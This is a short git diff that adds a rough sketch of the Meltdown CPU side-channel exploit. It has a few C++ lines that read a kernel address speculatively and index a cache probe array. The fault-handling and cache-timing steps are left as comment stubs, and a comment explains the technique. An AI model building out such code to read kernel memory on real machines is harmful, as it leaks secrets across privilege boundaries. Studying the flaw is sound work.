diff --git a/Meltdown-Exploit-Rough-Code b/Meltdown-Exploit-Rough-Code new file mode 100644 index 0000000..000d3f2 --- /dev/null +++ b/Meltdown-Exploit-Rough-Code @@ -0,0 +1,11 @@ +uint8_t* probe_array = new uint8_t[256 * 4096]; +uint8_t kernel_memory = *(uint8_t*)(kernel_address); +uint64_t final_kernel_memory = kernel_memory * 4096; +uint8_t dummy = probe_array[final_kernel_memory]; +//..Find Page Fault +//... Find which of 256 slots in probe_array is cached. + +/* "Probe Array is used as a side channel to retrieve data from the kernel. Step 3-5 is executed in the CPU's pipeline +before the fault is raised, due to kernel memory being accessed. The attacker uses OS functionality to trap the faulting instruction & +continues execution. The location which is substantially faster in terms of being loaded by the CPU into the cache is the +value of the byte in kernel memory"*/